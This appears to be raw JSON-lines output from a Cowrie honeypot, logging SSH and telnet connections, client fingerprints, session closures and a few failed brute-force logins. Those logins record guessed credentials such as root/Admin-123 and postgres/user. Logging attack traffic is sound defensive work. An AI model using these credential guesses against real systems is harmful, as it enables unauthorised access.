{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:20.970299Z","src_ip":"113.163.156.190","session":"91d163f8900d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:21.215688Z","src_ip":"113.163.156.190","session":"91d163f8900d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin-123","message":"login attempt [root/Admin-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:22.224779Z","src_ip":"113.163.156.190","session":"91d163f8900d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44950,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbbb006a5cf2","protocol":"telnet","message":"New connection: 45.10.154.244:44950 (10.17.0.5:23) [session: cbbb006a5cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:22.433735Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":48440,"dst_ip":"10.17.0.5","dst_port":22,"session":"b82d2ca3c6c4","protocol":"ssh","message":"New connection: 221.139.88.149:48440 (10.17.0.5:22) [session: b82d2ca3c6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:22.462589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:22.467200Z","src_ip":"221.139.88.149","session":"b82d2ca3c6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:22.506832Z","src_ip":"122.168.114.167","session":"11f6dd11713d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.163407802581787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:22.661683Z","src_ip":"45.10.154.244","session":"ace5f797c0bf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:22.977733Z","src_ip":"221.139.88.149","session":"b82d2ca3c6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:23.471662Z","src_ip":"113.163.156.190","session":"91d163f8900d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":49268,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9dfc3793df5","protocol":"telnet","message":"New connection: 45.10.154.244:49268 (10.17.0.5:23) [session: f9dfc3793df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:23.549774Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50588,"dst_ip":"159.203.135.109","dst_port":23,"session":"29b968d03996","protocol":"telnet","message":"New connection: 51.161.172.108:50588 (159.203.135.109:23) [session: 29b968d03996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:23.762134Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51862,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ee00297b84","protocol":"telnet","message":"New connection: 45.10.154.244:51862 (10.17.0.5:23) [session: d4ee00297b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:24.333923Z"}
{"eventid":"cowrie.session.closed","duration":31.176307678222656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:24.404909Z","src_ip":"45.10.154.244","session":"ab0ee592f9a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"user","message":"login attempt [postgres/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:24.453046Z","src_ip":"221.139.88.149","session":"b82d2ca3c6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.157061338424683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:24.931803Z","src_ip":"45.10.154.244","session":"2a8a8edc3e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":32844,"dst_ip":"159.203.135.109","dst_port":22,"session":"6344a3281b10","protocol":"ssh","message":"New connection: 122.168.114.167:32844 (159.203.135.109:22) [session: 6344a3281b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:25.692033Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"e341cceffe0a","protocol":"telnet","message":"New connection: 45.10.154.244:56146 (10.17.0.5:23) [session: e341cceffe0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:25.720965Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:25.746854Z","src_ip":"221.139.88.149","session":"b82d2ca3c6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":37690,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac41e579ad5","protocol":"telnet","message":"New connection: 167.99.38.72:37690 (159.203.135.109:23) [session: 7ac41e579ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:25.814234Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"8db0a8d3faf2","protocol":"telnet","message":"New connection: 167.99.38.72:37126 (159.203.135.109:23) [session: 8db0a8d3faf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:26.045071Z"}
{"eventid":"cowrie.session.closed","duration":35.84307384490967,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:27.224377Z","src_ip":"167.99.38.72","session":"9dc19a9c04a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158609628677368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:27.247571Z","src_ip":"45.10.154.244","session":"c1d019e5b9fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43022,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc7cd10e859","protocol":"telnet","message":"New connection: 34.69.118.1:43022 (159.203.135.109:23) [session: abc7cd10e859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:28.723940Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":41986,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f84fc547f9","protocol":"telnet","message":"New connection: 45.10.154.244:41986 (10.17.0.5:23) [session: a7f84fc547f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:29.628864Z"}
{"eventid":"cowrie.session.closed","duration":30.957794666290283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:30.059909Z","src_ip":"45.10.154.244","session":"e7f85e98d81a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"42.8","message":"Connection lost after 42.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:30.136991Z","src_ip":"122.168.114.167","session":"11f6dd11713d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45818,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b51bcdb04e","protocol":"telnet","message":"New connection: 45.10.154.244:45818 (10.17.0.5:23) [session: 32b51bcdb04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:30.681202Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46626,"dst_ip":"10.17.0.5","dst_port":23,"session":"739e7ed51732","protocol":"telnet","message":"New connection: 45.10.154.244:46626 (10.17.0.5:23) [session: 739e7ed51732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:30.888819Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40962,"dst_ip":"159.203.135.109","dst_port":23,"session":"df4ce76fe568","protocol":"telnet","message":"New connection: 167.99.38.72:40962 (159.203.135.109:23) [session: df4ce76fe568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:31.008464Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43028,"dst_ip":"159.203.135.109","dst_port":23,"session":"7187c66dfe51","protocol":"telnet","message":"New connection: 34.69.118.1:43028 (159.203.135.109:23) [session: 7187c66dfe51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:31.245417Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":41094,"dst_ip":"159.203.135.109","dst_port":23,"session":"af689906f4de","protocol":"telnet","message":"New connection: 167.99.38.72:41094 (159.203.135.109:23) [session: af689906f4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:31.251076Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48796,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbaf01f83e2e","protocol":"telnet","message":"New connection: 45.10.154.244:48796 (10.17.0.5:23) [session: dbaf01f83e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:31.554959Z"}
{"eventid":"cowrie.session.closed","duration":30.972445249557495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:31.793905Z","src_ip":"45.10.154.244","session":"aad0c5c20d78","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:32.276355Z","src_ip":"122.168.114.167","session":"6344a3281b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:32.281932Z","src_ip":"122.168.114.167","session":"6344a3281b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":41134,"dst_ip":"159.203.135.109","dst_port":23,"session":"138289a687fc","protocol":"telnet","message":"New connection: 167.99.38.72:41134 (159.203.135.109:23) [session: 138289a687fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:32.313470Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52112,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c51760cbc9c","protocol":"telnet","message":"New connection: 45.10.154.244:52112 (10.17.0.5:23) [session: 0c51760cbc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:32.480368Z"}
{"eventid":"cowrie.session.closed","duration":31.854425191879272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:32.936043Z","src_ip":"45.10.154.244","session":"e68db0ce5712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43042,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc52c782917e","protocol":"telnet","message":"New connection: 34.69.118.1:43042 (159.203.135.109:23) [session: cc52c782917e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:33.685925Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53162,"dst_ip":"10.17.0.5","dst_port":23,"session":"c159bd885278","protocol":"telnet","message":"New connection: 45.10.154.244:53162 (10.17.0.5:23) [session: c159bd885278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:33.736402Z"}
{"eventid":"cowrie.session.closed","duration":30.737714767456055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:34.092645Z","src_ip":"45.10.154.244","session":"bd27d5737046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":59822,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e30c310160","protocol":"telnet","message":"New connection: 45.10.154.244:59822 (10.17.0.5:23) [session: 75e30c310160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:34.613969Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60592,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e92c04634a","protocol":"telnet","message":"New connection: 45.10.154.244:60592 (10.17.0.5:23) [session: 62e92c04634a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:34.844586Z"}
{"eventid":"cowrie.session.closed","duration":31.445337533950806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:35.643721Z","src_ip":"45.10.154.244","session":"3a6802020961","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":43428,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2d3a7c6119","protocol":"telnet","message":"New connection: 167.99.38.72:43428 (159.203.135.109:23) [session: bf2d3a7c6119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:35.948122Z"}
{"eventid":"cowrie.session.closed","duration":30.77406120300293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:36.050694Z","src_ip":"45.10.154.244","session":"73cbaff7de40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76788306236267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:36.228131Z","src_ip":"45.10.154.244","session":"15100eb353d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38538,"dst_ip":"10.17.0.5","dst_port":23,"session":"306eacce6e96","protocol":"telnet","message":"New connection: 45.10.154.244:38538 (10.17.0.5:23) [session: 306eacce6e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:36.574342Z"}
{"eventid":"cowrie.session.closed","duration":30.194924116134644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:37.054237Z","src_ip":"45.10.154.244","session":"41636f9369c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29781198501587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:37.101942Z","src_ip":"45.10.154.244","session":"85c085310bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.479198694229126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:37.460361Z","src_ip":"45.10.154.244","session":"1aa0cb187f1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42106,"dst_ip":"10.17.0.5","dst_port":23,"session":"182e45e5865f","protocol":"telnet","message":"New connection: 45.10.154.244:42106 (10.17.0.5:23) [session: 182e45e5865f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:37.528026Z"}
{"eventid":"cowrie.session.closed","duration":30.955920457839966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:37.597614Z","src_ip":"45.10.154.244","session":"58c651ed24c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43834,"dst_ip":"10.17.0.5","dst_port":23,"session":"8447dbf6233b","protocol":"telnet","message":"New connection: 45.10.154.244:43834 (10.17.0.5:23) [session: 8447dbf6233b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:37.958937Z"}
{"eventid":"cowrie.session.closed","duration":30.764168977737427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:38.276579Z","src_ip":"45.10.154.244","session":"b23aea304c82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48084,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4ab4fa177a","protocol":"telnet","message":"New connection: 45.10.154.244:48084 (10.17.0.5:23) [session: 9b4ab4fa177a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:39.151203Z"}
{"eventid":"cowrie.session.closed","duration":30.57854700088501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:40.074447Z","src_ip":"45.10.154.244","session":"4d16883ab562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.393278121948242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:40.136856Z","src_ip":"45.10.154.244","session":"3e1bbe44ca75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53410,"dst_ip":"10.17.0.5","dst_port":23,"session":"142012188567","protocol":"telnet","message":"New connection: 45.10.154.244:53410 (10.17.0.5:23) [session: 142012188567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:40.579607Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54498,"dst_ip":"10.17.0.5","dst_port":23,"session":"087f64a9ba78","protocol":"telnet","message":"New connection: 45.10.154.244:54498 (10.17.0.5:23) [session: 087f64a9ba78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:40.931612Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55564,"dst_ip":"10.17.0.5","dst_port":23,"session":"657d745717ca","protocol":"telnet","message":"New connection: 45.10.154.244:55564 (10.17.0.5:23) [session: 657d745717ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:41.197757Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56022,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f707cfcb63","protocol":"telnet","message":"New connection: 45.10.154.244:56022 (10.17.0.5:23) [session: 20f707cfcb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:41.325111Z"}
{"eventid":"cowrie.session.closed","duration":32.12538957595825,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:41.475784Z","src_ip":"51.161.172.108","session":"383e8e474a9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"264d5e93fc16","protocol":"telnet","message":"New connection: 45.10.154.244:57264 (10.17.0.5:23) [session: 264d5e93fc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:41.647471Z"}
{"eventid":"cowrie.session.closed","duration":32.14044761657715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:41.874335Z","src_ip":"51.161.172.108","session":"885f41e1fb08","protocol":"telnet"}
